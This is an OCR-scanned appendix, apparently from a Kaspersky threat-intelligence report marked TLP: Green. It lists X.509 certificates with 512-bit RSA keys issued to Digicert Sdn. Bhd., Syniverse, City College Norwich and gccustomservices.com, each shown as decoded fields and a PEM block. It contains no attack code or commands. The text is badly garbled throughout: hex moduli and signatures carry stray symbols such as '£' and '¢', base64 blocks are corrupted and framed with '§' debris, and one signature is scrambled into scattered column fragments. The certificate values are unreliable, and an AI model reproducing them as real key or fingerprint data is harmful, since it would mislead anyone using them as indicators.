§aGFBdGUgQ29kZSBTaWduaW5nIENBICOgRZIthcNMTMwNZE5MDAWMDAWthNMTQw§
 NzE2MiM10TUSW] CBj zELMAKGALUEBhMCQO4xDj AMBgNVBAGTBUh1bmFuMRAWDgYD '
gVQQHFAdeWNOYW5nMS4WLAYDVQQKFCVYdWNOYW5nIEthmdndWFuZyBUZWNObm9S§
§b2d5IENVLiXMdGQuMS4WLAYDVQQDFCVYdWNOYW5nIEhvbmdndWFuZyBUZWNobm9s§
b2d5IENVLixMAGQUMIIBIANBgkqhkiGOwOBAQEFAAOCAQS8AMI IBCGKCAQEAOFI2 :
§5gPPKaOXAbOvnjstOVc5OZSquhXE8gw4ZJCXJPgWAledebZQDan+Z32j5js§
: XHvvPgZD7TUORIHNYJP8E9Fnpz85tsVK1Y1T4PSSRuULUZ95mtPC5¢czUvNOOJINJIST
§SeuThCRIprvauNKEDKCQrS7oUYYLykaEI/3quzDMeG+VphmAdeb+jP9aDNf§
i TIpzs/OCxrhRx17UH1NAYdquiu02YvOsQhOhgcMd66F2qKiD3Xa9rxVxRINSVeVD |
P gEkVTm2Xyz5LgUcUNadJ3A05L1xB2mX7/onGygJLHZ9RIACKQ4L2bzgqFeuSO10+6f
§HwEwXZqudZLvabDwIDAQABO4HVMIHSMAWGAlUdEwEB/WQCMAAWOWYDVROfBDQw§
' MjAwoC6gLIYqaHROcDovL2NzLWcyLWNybC50aGF3dGUuY29tL1ROYXd0ZUNTRz Iu
gY3JSMB8GAlUdJQQYMBYGCCSGAQUFBWMDBgOIBgEEAYI3AgEWMBOGA1UdBAQWMBQW§
{ DjAMBgOrBgEEAY I 3AgEWAWIHgDAYBggrBgEFBOCBAQOMMCOWIgY IKwYBBQUHMAGG |
{ FmhOdHA6LY9vY3NwLNROYXd0ZS57b20wEQYJIYIZIAYb4QgEBBAQDAGQQOMAOGCSG *
§SIbBDQEBBQUAA4IBAQAchc5wa/KGOcOm4FEWv7mJ7E1+sKUrO3iG40a1ciSquT§
:b+85SjGHPWbY5fv58kd3nAHUVppyMg9gzpQ/pptViJc9FcmXTrokuMwdRgxeJ8ae :
§5gcjnTE20/TciHszXH9jX4FIsCJypZlnPrbchtialKS4LsnnCszR/ngu7Sno§
§NQu+Odr2PEprYqu7KOHDDU7/ySZPSLOthPJIYPR9oeSOuWG3lJC4nSuOLBzrl§
MABIWTOJiR6uqvve7V1r7TKIPaWDPOD7IgSB096Srkl1XpxZ2KzimH3MSQG91isa771 :
| FcLkr89avNU1wFIn9TxQIZrXEWluMoRk+UaGpTQA :
:END CERTIFICATE

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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iCertiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 2786200 (0x2a8398)
Signature Algorithm: shalWithRSAEncryption
Issuer: C=MY, O=Digicert Sdn. Bhd., 0U=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Mar 29 03:40:07 2010 GMT
Not After : Mar 29 03:40:07 2012 GMT
Subject: C=MY, O=Digicert Sdn Bhd, OU=CA Operation,
CN=mcrs.digicert.com.my, L=KL, ST=WP
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:d1:e9:78:55:9¢c:79:70:eb:11:d3:d5:2f:c9:b0:
3a:la:81l:c9:cc:06a:ce:f7:5e:36:11:c3:9%a:bd:el:
06:95:6e:98:a3:7e:92:01:1d:ca:b2:9f:6c:al:el:
ea:50:18:09:a3:35:84:bc:df:90:9¢c:60:0b5:a4:18:
6c:0d:d9:10:35

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Subject Key Identifier:
40:D1:03:5E:67:7C:07:9D
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier: :
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C§
5:74:6E:84:77 :
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: shalWithRSAEncryption
12:13:d6:69:03:9%9a:dd:fc:0d:e9:7e:53:ef:79:e5:bd:47:c7:
46:a20:0b:d9:7f:52:a6:1e:65:4e:a2:01:73:83:93:93:e2:d0:
bd:72:de:8e:fd:3f:ba:bb:66:c4:5d:98:2a:39:fa:8c:£0:84:
00:36:c5:05:dc:2b:6c:a9:1d:e0:90:20:84:0e:48:£f£:83:bf:
51:87:6:04:49:83:73:£0:0d:48:fb:c5:d8:ea:c2:ef:95:11:

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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a3:81:9d:34:54:00:e6:93:3b:79:a2:ec:ed:1d:b7:e8:08:4a:
4e:f9:e7:0f:02:¢c6:32:d0:84:de:b7:e6:a2:4f:1f:2a:58:c7:
bd:61

:BEGIN CERTIFICATE :
{MIICmjCCAGOGAWIBAGIDKOOYMAOGCSQGSIb3DOEBBQUAMGMXCZAJBGNVBAYTAKLZ
§MRSWGQYDVQQKEXJEadeY2VydCBTZG4uIEJOZC4XETAPBgNVBAsTCDQlNZYWOClL§
{MSQwWIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMTAWMzIS :
§MDMOMDA3WhCNMTIWMZISMDMOMDA3WjB4MQSWCQYDVQQGEWJNWTEZMBCGAIUEChMQ§
§RGlnaWNlchgUZRuIEJOZDEVMBMGAlUECxMMQOEgT3BlcmFOaW9uMROwGwYDVQQD§
§EXRtYBJszRpZleZXJOLvabS5teTELMAkGAlUEBXMCSwaCzAJBgNVBAgTAldQ§
§MFwwDQYJKoZIhvcNAQEBBQADSWAWSAJBANHpeFchXDrEdPVL8mthququzvde§
: NhHDmr3gBpVumKN+kgEdyrKfbKHh61AYCaM1hLzfm5xgtaQYbA3ZEDUCAWEARAAOB
§ijCBhzARBgNVHQ4ECgQIQNEDdeSBSOwRAYDVROgBDOszASBnggOoBATAWMC4G§
§CCSGAQUFBWIBFiJodHRwOi8vd3d3LmeZleZXJOLvabS5teS9jcHMuaHRtMB8G§
§AlUdeQYMBaAFMYWkO4WF+eroyUdeGchOboR3MASGAlUdDwQEAwIESDANngq§
i hkiG9wOBAQUFAAOBGQASE 9ZpA5rd/A3pflPveeNIR8AGOAVZ £ 1KMHMVOOrFzg50T |
:4tC9ct60/T+6u2bEXZgqOfgM8 IQANSUF3CtsqR3gkCCEDk] /g7 9Rh+YESYNZBALT :
P +8XY6sLv1IRGIgZ0O0VADmkzt50uztHbfoCEpO+ecPssYy0ITet+aiTx8qWMeQYQ== :
{END CERTIFICATE :

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1£f:71:31:72:c9
Signature Algorithm: shalWithRSAEncryption
Issuer: 0O=GlobalSign Inc, CN=Cybertrust SureServer CA
Validity
Not Before: Feb 13 19:00:51 2009 GMT
Not After : Feb 13 19:00:51 2011 GMT
Subject: CN=inpack.syniverse.com,
C=US/emailAddress=belinda.jablonskil@syniverse.com,
L=Tampa, O=Syniverse Technologies Inc., OU=Crossroads,
ST=Florida
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:a25:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9:
bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87:

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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ac:62:de:09:2e:¢c5:5f£:79:¢c5:d5:9e:26:9b:1a:9a:
e3:99:3b:e2:2e:48:7e:9c:5£:74:¢c9:34:09:b3:a5:

40:7f:bb:e9:35
Exponent:
X509v3 extensions:

65537

Netscape Cert Type:
SSL Client,
X509v3 Key Usage:

SSL Server

Encipherment,
X509v3 Authority Key Identifier:

keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:

6:5B:84:89:23
X509v3 CRL Distribution Points:
Full Name:

URI:http://crl.globalsign.net/sureserver.crl
critical

critical
Digital Signature,
Data Encipherment

(0x10001)

Non Repudiation,

X509v3 Basic Constraints:

CA:FALSE

Signature Algorithm:

95:
44
21
2b:
ee:
ds:
c9:
la
18:
Te:
98:
az2:
10:
bf
33:

2a:
21:
:34:
14:

cf

Tc:
29:
:b6:

99

6a:
7d:
50:
el:
:b4:
48:

42

ad:
16:
19:
:b2:
19:
ab:
2c:
:ba:
df:
cc:
9c:
90:
59:
18:

:59

ae

!BEGIN CERTIFICATE :
§MIIDRDCCAiygAwIBAgILAQAAAAABHBEXCSkaQYJKOZIhchAQEFBQAwPDEXMBUG§
: ATUEChMOR2xvYmFsU21nbiBJbmMxITAfBgNVBAMTGENS5YmVydHJ1c3QgU3VyZVN1 :
§anlciBDQTAerOwOTAyMTMxOTAWNTFaFwOxMTAyMTMxOTAWNTFaMIG5MROWGWYD§
§VQQDEXprthYZSuc3luaXZlCnNlLmNVbTELMAkGAlUEBhMCVVMXLjASngqhkiG§

d7:
dd:
8a:
19:
3c:
65:
To:
Tb:
38:
26:
49:
Oc:
eb6:

:bd:
46:
87:
2c:
67:
£3:
66:
df:
fa:
9c:
ca:
Ob:
e7:
6f:

18:
03:
ee:
2e:
fa:
52:
ef:
16:
91:
2e:
cc:
45:
02:
91:

shalWithRSAEncryption

la:ec:20

94 :
dc:
1f:
40:
f4:
ab:
39:
74 :
Tc:
4f:
Tc:
de:
lc:

as8:
6a:
6a:
0f:
10:
2d:
94 :
f0:
11:
81:
86:
95:
38:

ec:
d4:
8f:
9c:
30:
cd:
8b:
9a:
37:
4d:
fc:
£5:
cd:

:e9

do:
e7:
97:
cf:
f0:
53:
33:
le:
37:
95:
5c:
e8:
b7:

: 96

16

28:
f4:
22
58:
6l:
el:
cb:
ae:
4c:

ao:
32:
9e:

:0d:
29:
d4:
de6:
Tf:
24
44 :

14
92

20:
:bb:
31:
03:
48:

Tf:
07:

£9

f4:
53:
ag:
09:
:16:
:b4:
80:
26:
34:
a3:
al:

£2

Key

:bc:
do:
:ab:
e5:
21:
9d:
ea:
c2:
94:
5d:
db:
£2:
fb:
6b:

£5
04

44
af:
18:
8d:
93:

43

6b:
1f:
08:
78 :
68:

de:
:bc:
:bb:
06:
cO:
01:

4c

42
:bb:
e2:
fe:
f1:
17:
98:

79:
91:
60:
c2:
02:
a3:
:bc:
6c:
:ba:
94 :
03:
03:
dc:
00:

96

E8:30:B!

8a:
ch:
53:
22:
ad:
£5:
ef:
4d:

41 :
fc:
16:
23:
e3:

TLP: Green
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§9WOBCQEWH2JleluZGEuamFibG9uc2thHN5bml2ZXJZZSSjb20xDjAMBgNVBAcT§
: BVRhbXBhMSQwIgYDVQQKEx t TeWSpdmVyc2UgVGVyaG5vbGonaVz IEIuYy4xEzAR :
§BgNVBAsTCkNbeNzcm9hZHMxEDAOBgNVBAgTBOZsb3JpZGEwXDANngqhkiG9wOB§
 AQEFAANLADBIAKEAPRNTFwL3zTNkfegnj+m8qOuWO0ENtsQqENVkWIesYt4JLSVE
{ ecXVniabGprimTviLkh+nF90yTQJs6VAE7vpNQIDAQABOAGOMIGNMBEGCHCGSAGG |
| +EIBAQQEAWIGWDAOBGNVHQ8BA L 8EBAMCBPAWHWYDVR0 | BBgWFOAUKZATK2RHZ NP |
: ANP33egwt1uEiSMwOQYDVRO£BDIwMDAuUoCygKoYoaHROcDovL2NybC5nbGoiYixz
{ aWduLm51dC9zdXJI1c2VydmVyLmNybDAMBGNVHRMBA £ 8EAJAAMAOGCSGGSIb3DQEB !
 BQUAA4IBAQCVKkJZvRga7CDplgl/8rx0eYpEIaTXRgOUGOZQKCkHOPWS8 kcUhNBbd :
‘h+7catTn9NT5pgS7YFMrFBMKLC4A fao+XItb05UQGwiLuz 7122 /pAD5ZPWHITIa/A :
i Aq3YfBk881LOEDDWYSSpnRgBo/XJKat1Zu+1Lc1T4kQJI601Mv0O8atix73xY51Isz |
: YXQWwpNCDEOYmbp7+pF08JoerpKO1EO71rp+at84nC58ETCc3TCCAXWVIIEGY fewn :
:ysxPgU2VFrsm2x/+A/yiUJxJCOV8hvxcpjE08gxAxYQ4JAM5wIO1l £XoMgOj+3gX
©3C0/tFnmb5SECOM23nkiga2iYAOMzSBiu :
{END CERTIFICATE

iCertiﬁcate:
Data:

Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1d:91:a4:6e:5b
Signature Algorithm: shalWithRSAEncryption
Issuer: C=BE, O=Cybertrust, OU=Educational CA,
CN=Cybertrust Educational CA
Validity

Not Before: Nov 12 16:59:48 2008 GMT

Not After : Nov 12 16:59:48 2011 GMT
Subject: C=GB, ST=Norfolk, L=Norwich, O=City College
Norwich, OU=I.T. Services, CN=stfmail.ccn.ac.uk
Subject Public Key Info:

Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:c6:5c:e9:3d:a8:bc:74:31:£fd:90:20:34:30:cd:
dc:50:6a:58:9b:41:6a:1e:04:9£:75:¢2:90:1£:d8:
a7:p3:3a:8f:5a:29:£8:2d:06:91:b0:71:9a:ab:4c:
al:f6:12:8d:90:01:fa:27:cd:f4:ed:08:50:48:3a:
29:3b:16:94:4f

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Key Usage: critical

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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Digital Signature, Key Encipherment

X509v3 Authority Key Identifier:
keyid:65:65:A3:3D:D7:3B:11:A3:0A:07:25:37:C9:42:4A: 5
B:76:77:50:E1

X509v3 Subject Key Identifier:

BE:7E:E3:53:BD:00:32:5E:3C:78:2B:02:B2:BF:52:A2:B1:

E5:F2:F8

X509v3 CRL Distribution Points:

Full Name:
URI:http://crl.globalsign.net/educational.crl

Authority Information Access:

CA Issuers URI:
http://secure.globalsign.net/cacert/educational.
crt

Netscape Cert Type:

SSL Client, SSL Server
Signature Algorithm: shalWithRSAEncryption

71:99:aa:¢c9:92:26:ee:32:2d:c0:95:£8:16:47:0b7:d9:eb:2e:
£1:93:d2:¢c3:3d:62:¢c1:9a:74:d2:2£:29:9¢c:08:a8:ca:52:6¢c:
42:c4:2b:a7:1c:96:17:af:3d:01:05:05:£f1:70:d0:08:el:fa:
63:e1:44:02:61:66:3d:9c:5a:3f:3a:32:00:47:31:3d:27:1d:
98:9c:d3:¢c3:¢c7:9£:73:55:8c:ff:d7:21:2d:76:d2:e7:df:8b:
9e:d3:ee:chH:5e:e7:6a:ba:7a:bb:70:9¢:38:00:54:ed:58:ee:
00:cl:45:8b:d4:63:25:be:22:98:a8:ef:£f0:03:£8:fb:15:32:
eB8:ae:da:27:e4:60:46:d6:75:78:50:1d:57:4d:06:e9:8c:b8:
43:f5:9a:58:cf:al:fd4:c7:c7:ec:4a:b0:8a:95:¢c7:6c:3b:50:
0a:45:74:f1:d6:02:e0:78:a7:f1:£f1:55:6e:20:92:55:37:be:
b6:57:76:37:££:60:30:c3:9a:2c:0e:dd:d8:ef:2b:bf:1£:20:
9d:a5:21:93:94:9a:1e:58:74:b8:24:ce:a4:38:7b:1d:38:fd:
£2:9f:21:¢c0:49:d1:94:3e:38:7e:63:0c:0b:c3:98:ea:56:b2:
90:92:dc:75:0d:06:00:35:9c:94:d6:el:be:79:05:d1:27:0b3:
87:23:14:0a

‘BEGIN CERTIFICATE :
§MI1DlTCCAnzgAwIBAgILAQAAAAABHZGkblstQYJKoz1hchAQEFBQAszELMAkG§
 AlUEBhMCQkUxXEzARBgNVBAOTCKN5YmVydHJ1c30xFzAVBgNVBASTDKVKAWNhAGLY :
| bmFsIENBMSIwIAYDVOQDEx1DeWJ1cnRydXNOIEVkdWNhdGlvbmFs IENBMBAXDTAS '
§MTExMjE2NTk00FoXDTExMTExMjE2NTkoOFongQxczAJBgNVBAYTAdeMRAngYD§
 VQOIEWdOb3Jmb2xrMRAWDGYDVQQHEWAOb3J3aWNOMROWGWYDVQQKEXRDaXR5 IENV :
§be122Ung9yd21jaDEWMBQGAlUECxMNssSULiBTZXJzaWNlczEaMBgGAlUEAxMR§

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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§c3RmbWprC5jY24uYWMudWszDANngqhkiG9wOBAQEFAANLADBIAkEAxlszai8§
: dDH9myAOMM3cUGpYmOFgHgS fdcKQH9inszgPWindLbaRsHGag0yh9hKNmwH6J830 :
§7QhQSDOpOxaUTWIDAQABO4HZMIHWMA4GA1UdDWEB/WQEAWIFODAfBgNVHSMEGDAW§
§gBRlZaM9lzsRoonJTfJQkpbdndQ4TAngNVHQ4EFgQUvn7jU7OAMl48eCsCsr9S§
§orHl8vnggYDVROfBDMwMTAvoCZgK4YpaHROcDovLZNybC5an9iYszaWduLm5l§
dC91ZHV]YXRpb25hbC55 cmwwTwY IKwYBBQUHAQEEQZzBBMD8GCCsGAQUFBZAChiNo
* dHRwO18vc2VidXJI1lLmdsb2JhbHNpZ24ubmV0L2NhY2VydC91ZHV ) YXRpb25hbC57 *
§CnQWEQYJYIZIAYb4QgEBBAQDAgbAMAOGCSqGSIb3DQEBBQUAA4IBAQmeaeribu§
{Mi3A1fgWR7£Z6y7xk9LDPWLBMNTSLymcCKjKUmxCxCunHJIYXrz0BtbXxcNAI4fpy '
§4USyYWY9nFo/OjKszE9Jx2YnNPDx59zVYz/1yEtdth34ueO+7FXudqunq7e544§
| AFTtWO4AWUWL1GM1viKYqO/ws/j7FTLorton5GBG1nV4UBLXTQbpI LhDIZpYZ6HO |
:x8fsSrCK1cdsOlAKRXTx1gLgeKfx8VVuIJJVNT762V3Y3/2Aww50sDt3Y7yu/HyCd :
§pSGTlJoeWHS4JM6kOHstP3ynyHASdGUPjh+waLw5jquKthxlDQYLNZyUluG+§
{ ©OXRJ7OHIXOK :
{END CERTIFICATE

iCertiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1f:71:6f:21:66
Signature Algorithm: shalWithRSAEncryption
Issuer: 0=GlobalSign Inc, CN=Cybertrust SureServer CA
Validity
Not Before: Feb 13 19:59:00 2009 GMT
Not After : Feb 13 19:59:00 2011 GMT
Subject: CN=agreement.syniverse.com,
C=US/emailAddress=belinda.jablonskil@syniverse.com,
L=Tampa, O=Syniverse Technologies Inc., OU=Crossroads,
ST=Florida
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:a25:13:53:17:02:£f7:cd:33:64:7d:e8:27:8f£:e9:
bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87:
ac:62:de:09:2e:¢c5:5f:79:¢c5:d5:9e:26:9b:1a:9a:
e3:99:3b:e2:2e:48:7e:9c:5f£:74:c9:34:09:b3:a5:
40:7f:bb:e9:35

Exponent: 65537 (0x10001)

X509v3 extensions:
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Netscape Cert Type:
SSL Client, SSL Server
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30: B
6:5B:84:89:23
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.globalsign.net/sureserver.crl
X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: shalWithRSAEncryption
60:dd:4£:65:17:a0:3d:47:d7:70:d7:96:17:41:1c:b0:89:38:
9c:7e:bd:74:21:90:60:04:04:d0:8d:12:81:a22:d5:¢c1:89:92:
8a:5e:6a:ae:c9:df:0a:78:e9:70:7£:09:90:3e:08:ab:74:6b:
ab:99:cb:9%p:f4:1e:61:53:7£:13:3f:5b:26:ea:57:11:fa:d7:
30:90:8c:59:23:d4:73:66:9e:aa:47:72:04:9%9a:bf:d8:29:aa:
cl:4d:£3:32:e5:¢3:26:8a:98:da:07:bf:07:07:0e:1a:4e:a2:
13:51:¢c6:2c:11:7f:2c:40:¢c6:0f:al1:4d:51:6a:33:7b:9d:52:
99:4:£9:85:6a:13:44:81:2e:8f:a9:2d:ce:29:57:54:3b:d8:
1b:d8:20:5a:¢1:46:16:93:3f:34:e3:4a:5a:e8:54:£f2:9b:b6:
14:42:10:90:db:d4:33:70:76:13:29:¢c9:£8:44:02:98:94:5d:
09:30:a20:23:£0:94:1c:94:48:83:03:66:2c:40:92:pb4:75:44:
35:f4:8d:be:21:51:47:86:cd:fb:67:55:6d:a6:17:df:79:3f:
31:31:63:97:fc:8d:1a:14:9c:7e:68:13:bc:1b:2b:54:c9:a7:
e3:05:8a:£7:43:0a:06:6d:07:e3:£3:34:1d:92:be:30:9d:95:
05:8c:35:ba

!BEGIN CERTIFICATE :
§MIIDRZCCAi+gAwIBAgILAQAAAAABH3FVIWYWDQYJKOZIhchAQEFBQAwPDEXMBUG§
:ATUEChMOR2xvYmFsU21nbiBJbmMxITAfBgNVBAMTGENS5YmVydHJ1c3QgU3VyZVN1 :
§anlciBDQTAerOwOTAyMTMxOTU5MDBaFwOxMTAyMTMxOTU5MDBaMIG8MSAWHgYD§
: VQODExdhZ3J1ZW11bnQuc3luaXZlcenN1LmNvbTELMAKGAIUEBhMCVVMxLJASBgkq :
§hkiG9wOBCQEWH2JleluZGEuamFibG9uc2thHNSbml2ZXJZZS5jb20xDjAMBgNV§
§BAcTBVthXBhMSQwIgYDVQQKExtTew5pdiyc2UgVGVj aG5vbGo9naWvzIEluYy4x
' EzARBgNVBASTCkNyb3Nzcm9hZHMxEDAOBGNVBAGTBOZ sb3JpZGEwXDANBgkghkiG *
§9wOBAQEFAANLADBIAkEApRNTFwL3zTNkfegnj+m8q9uWOOENtquENVkWIesYt4J§
§LSercXVniaprrjmTviLkh+nF90yTQJS6VAf7vaQIDAQABO4GQMIGNMBEGCWCG§
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| SAGG+EIBAQQEAWIGWDAOBGNVHQSBAf8EBAMCBPAWHWYDVR0BBgWFOAUKZATK2RH |
: ZiNPANP33egwt 1uEiSMwOQYDVRO fBDIwMDAUoCygKoYoaHROcDovL2NybC5nbGIi
§YszaWduLm5ldC9deJlc2VydiyLmNbeAMBgNVHRMBAf8EAjAAMAOGCSqGSIbS§
: DOEBBQUAA4TBAQBG3U91F6A9RIAWL5YXQRywiTicfr10IZBgtATQ)RKBOtXBi ZKK
§quudeKeOlwf7mngirdGurmcub9B5hU38TPlsm6lcR+tc7kaZI9RzZp6qR3IE§
imr/YKarBTfMy5cMnipjaB7+3BwdaTqITUCY sSEX8SQMYPOULRajNTnVKbS /mFahNE |
: gS6PQS30KVAUO9gb2CBawlYWkz8040pa6FTym7YUShCh290ze3YTKCn4RAKY1FOJ :
{MKCj8JQc1EiDA2YsQJKOdUQL9I2+IVFHhs3721VtphffeT8xMWOX/I0aFJx+aB08 :
§GthyaijYr3Qwonij82Qdkr4wnZUFjDW6 :
{END CERTIFICATE

iCertiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 2786749 (0x2a85bd)
Signature Algorithm: shalWithRSAEncryption
Issuer: C=MY, O=Digicert Sdn. Bhd., 0U=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Mar 29 04:26:21 2010 GMT
Not After : Mar 29 04:26:21 2012 GMT
Subject: C=MY, O=Digicert Sdn. Bhd., CN=mcrs2.digicert.
com.my, L=Kuala Lumpur
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:c2:£6:81:3d:67:9c:8a:93:22:6f:cl:cf:a9:85:
ec:d1:40:b6:79:ea:02:47:88:c2:bb:dd:59:97:49:
£5:59:a8:be:0d:10:17:79:9b:0b:ee:ab:4c:7a:db:
73:d8:26:49:76:2b:4f:fc:d4e:aa:1d:el:57:22:d5:
Ob:cd:d5:da:69

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Subject Key Identifier:
42:C0:71:88:BF:7B:00:93
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier:
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keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C§
5:74:6E:84:77 :
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: shalWithRSAEncryption

39:ec:d4:6b:f2:e7:d4:47:5e:59:6e:0f:83:59:7b:32:17:cb:
4e:37:e7:2d:5c:44:ea:68:08:94:e9:47:33:cb:e2:cc:ad:c7:
cc:28:f1:07:a7:9a:£f6:£f8:55:76:¢c4:31:72:98:e3:11:5b:aa:
d5:d6:££:99:52:69:61:48:91:31:df:££:d3:39:£0:d1:94:29:
55:5b:6e:dl:d7:2d:da:7c:ef:6e:a4:10:fd:b4:22:4b:%e:41:
85:f6:63:06:€7:10:5c:88:1e:04:20:36:48:22:f5:ba:a4d:8c:
24:d3:81:78:cl:cl:d3:c9:8c:ba:ab5:62:e6:e3:a8:e8:e4:21:
d5:72

'BEGIN CERTIFICATE :
{MIICgzCCAeygAwIBAGIDKOWIMAOGCSGGSIb3DOEBBQUAMGMxCZzAJBGNVBAYTAKLZ
| MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBGNVBASTCDQINZYWOCLL !
§MSQngYDVQQDExtandpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkathMTAWMZI5§
: MDQyN§ IxWhcNMT IwMz I SMDQyN I kW9 BhMQOswCQYDVQQGEwINWTEbMBKGALUEChMS :
§RGlnaWNlchgUZRuLiBCaGQuMR4wHAYDVQQDEthY3JzMiSkawdeZVydCSjb20u§
 bXkxFTATBgNVBACTDEt1YWxhIEx1bXB1cjBcMAOGCSGGSIb3DOEBAQUAAOSAMEGC :
: QODCY0E9Z5yKkyJvwe+phezROLZ56gJHiMK7 3VMXS £VZqLANEBASmwvupUx623PY
{ Jk12K0/8Tqod4VeilQuN1dppAgMBAAG] gYowgY cwEQYDVROOBAOECELACY 1 /ewCT |
: MEQGA1UAIAQIMDswOQYFY INKAQEWMDAUBggrBgEFBQCCARY iaHROcDovL3d3dy5k :
{ aWdpY2VydC59b20ubXkvY3BzLmhObTAfBgNVHSMEGDAWGBTGFpNOFhfsFq6M1Hbz '
: hm3FdG6EdzALBgNVHQ8EBAMCBPAWDQY JKoZ ThveNAQEFBOADGYEAOezUa/LnlEde |
{WW6/g117MhELTS £nLVXE6mgI101HM8YizK3HzC) xB6eadvhVdsQxcp] JEVugldb/
imVJIpYUiRMd//0znw0ZQpVVtu0dct2nzvbgQQ/bQiS55BhfzjtucQXIgeBCA2SCLL
: ugSMINOBeMHB08mMuqVi 5u0060Qh1XI= :
{END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 21665 (0x54al)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, O=Equifax Secure Inc., CN=Equifax Secure
eBusiness CAl
Validity
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Not Before: Jun 14 15:26:42 2006 GMT

Not After : Jul 14 15:26:42 2008 GMT
Subject: C=US, O=www.gccustomservices.com,
OU=businessprofile.geotrust.com/get.jsp?GT30320107, OU=See
www.rapidssl.com/cps (c)05, OU=Domain Control Validated
RapidSSL (R), CN=www.gccustomservices.com
Subject Public Key Info:

Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:cb:1f:00:21:9¢c:37:22:39:75:02:b5:12:dc:bb:
£5:7a:£7:93:65:0d:f8:6c:36:68:0a:06:19:49:77:
da:68:9e:ea:eb:39:d4:16:49:6d:14:c0:c9:6£:53:
cS5:ec:aB8:6b:60:ca:c3:a4:5b:3b:1a:93:1d:1f:3c:
d8:26:d5:6e:23

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 CRL Distribution Points:

Full Name:

URI:http://crl.geotrust.com/crls/ebizcal.crl
X509v3 Authority Key Identifier: :
keyid:4A:78:32:52:11:DB:59:16:36:5E:DF:C1:14:36:40:6§

A:47:7C:4C:A1 :

Signature Algorithm: md5WithRSAEncryption
99:a5:16:0b:3e:3d:d1:a4:36:dc:09:¢c5:22:12:d9:cf:c5:76:
89:4a:7b:27:be:2d:d6:53:2b:6b:ad:da:0b:£f3:f5:bf:72:cc:
11:1c:5c:al:a3:ef:78:83:4d:01:a6:a0:e6:d8:91:2c:6c:ce:
83:d8:be:fe:al:14:c9:bd:ac:fc:be:8e:c3:75:1d:6a:6a:43:
S5a:ab:1c:3b:eb:aa:f4:£3:36:bc:34:63:72:2a:d8:c5:97:b6:
a3:aa:54:91:5e:3f:3c:48:36:3c:51:37:c0:55:28:f1:a4:8f:
ea:df:e5:2f:02:62:0d:33:20:6a:4a:57:66:00:89:21:c4:68:
d5:e2

{BEGIN CERTIFICATE :
*MIIC3DCCAkKWgAWIBAGICVKEWDQYJKoZIhveNAQEEBQAWUZELMAKGAIUEBhMCVVMX
| HDAaBgNVBAOTEOVxdWlmYXggU2VidXJ1IEluYy4xJjAKkBGNVBAMTHUVXAWIlmYXgg
§U2Vj dXJ1IGVCAXNpbmVzcyBDQS0xMB4XDTA2MDYxNDE1MSYOMLoXDTA4MDCxNDEL
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§MjYOMlowgechzAJBgNVBAYTAlVTMSEwHwYDVQQKEthdBcuZ2NjdXNOb2lzZXJ2§
$aWN1lcy5ib20xODA2BgNVBASTL2J1c21uZzXNzcHIvZmlsZS5nZW90cnVzdC5jb20v :
§ZZVOmech9HVDMwMzIWMTASMScmQYDVQQLEX5TZWUgdeSLnJthlchNsLva§
‘1595 cHMgKGMpMDUxLzAtBgNVBASTJkRvbWFpbiBDb250cm9sIFZhbGlkYXR1ZCAL '
§IFJhCGlkUlNMKFIpMSEWHWYDVQQDEXh3d3cuZZNjdXNObZlZZXJZaWNlcy5jb20W§
§XDANngqhkiG9wOBAQEFAANLADBIAkEAyx+wIZw30jllArUS3LvleveTZQ34bDZo§
1CgYZSXfaad7q6znUFkltFMDJIb1PF7KhrYMrDpFs7GpMdHzzYJtVuIwIDAQABO2 4w
